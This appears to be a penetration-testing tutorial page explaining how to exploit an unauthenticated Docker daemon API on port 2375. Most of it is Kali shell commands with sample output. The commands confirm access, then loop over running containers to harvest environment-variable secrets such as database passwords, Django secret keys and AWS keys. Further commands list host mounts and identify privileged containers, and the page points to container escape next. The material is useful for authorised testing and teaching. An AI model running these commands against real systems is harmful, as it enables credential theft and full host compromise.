Skip to content
HackIndex logo

HackIndex

Docker API Unauthenticated Access

3 min read Apr 4, 2026

Docker API unauthenticated access is a critical misconfiguration — the daemon was started with -H tcp://0.0.0.0:2375 without enabling TLS or authentication, making the full Docker control plane available to any connecting host. Even when TLS is enabled on port 2376, missing client certificate validation means the TLS port is equally open. This page covers confirming the exposure scope, reading environment variables from running containers, and inspecting container configurations for credentials before moving to active exploitation.

Confirm No Authentication Required

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:2375/info | python3 -m json.tool | grep -iE 'name|os|kernel|containers|swarm'
"Name": "docker-host-01",
"OSType": "linux",
"KernelVersion": "5.15.0-91-generic",
"Containers": 4,
"ContainersRunning": 3,
"Swarm": {"LocalNodeState": "inactive"}

The hostname, kernel version, and container count confirm full unauthenticated access to the daemon info endpoint. Swarm inactive means this is a standalone Docker host — no cluster to pivot through.

Read Environment Variables from Running Containers

Container environment variables routinely contain database credentials, API keys, and service tokens passed at container startup:

┌──(kali㉿kali)-[~]
└─$ export DOCKER_HOST=tcp://$TARGET_IP:2375
┌──(kali㉿kali)-[~]
└─$ # Get container IDs
┌──(kali㉿kali)-[~]
└─$ docker ps -q
a1b2c3d4e5f6
b2c3d4e5f6a7
┌──(kali㉿kali)-[~]
└─$ # Inspect all containers for environment variables
for cid in $(docker ps -q); do
echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
docker inspect $cid --format '{{range .Config.Env}}{{println .}}{{end}}' | grep -iE 'password|secret|key|token|db_|mysql|postgres|redis'
done
=== /db ===
MYSQL_ROOT_PASSWORD=r00tP@ssword!
MYSQL_DATABASE=webapp
MYSQL_USER=webapp_user
MYSQL_PASSWORD=WebAppP@ss!
=== /webapp ===
DB_PASSWORD=WebAppP@ss!
SECRET_KEY=django-insecure-abc123
AWS_ACCESS_KEY_ID=AKIA...

Database root password and application credentials from container environment variables are immediately usable — test them against exposed database ports and any other services on the host.

Inspect Container Mounts

Check what host filesystem paths are mounted into containers — host mounts may give direct access to sensitive files:

┌──(kali㉿kali)-[~]
└─$ for cid in $(docker ps -q); do
echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
docker inspect $cid --format '{{range .Mounts}}{{.Source}} -> {{.Destination}}{{println}}{{end}}'
done
=== /webapp ===
/var/www/html -> /var/www/html
/etc/nginx/conf.d -> /etc/nginx/conf.d
=== /db ===
/var/lib/mysql -> /var/lib/mysql

Check for Privileged Containers

Privileged containers have full host capabilities and are trivially escapable:

┌──(kali㉿kali)-[~]
└─$ for cid in $(docker ps -q); do
priv=$(docker inspect $cid --format '{{.HostConfig.Privileged}}')
name=$(docker inspect $cid --format '{{.Name}}')
echo "$name: privileged=$priv"
done
/webapp: privileged=false
/db: privileged=false
/monitor: privileged=true

A privileged container is the easiest escape path. Move to container escape — even without a privileged container, the unauthenticated API itself is the escape path via a new container with a host mount.

References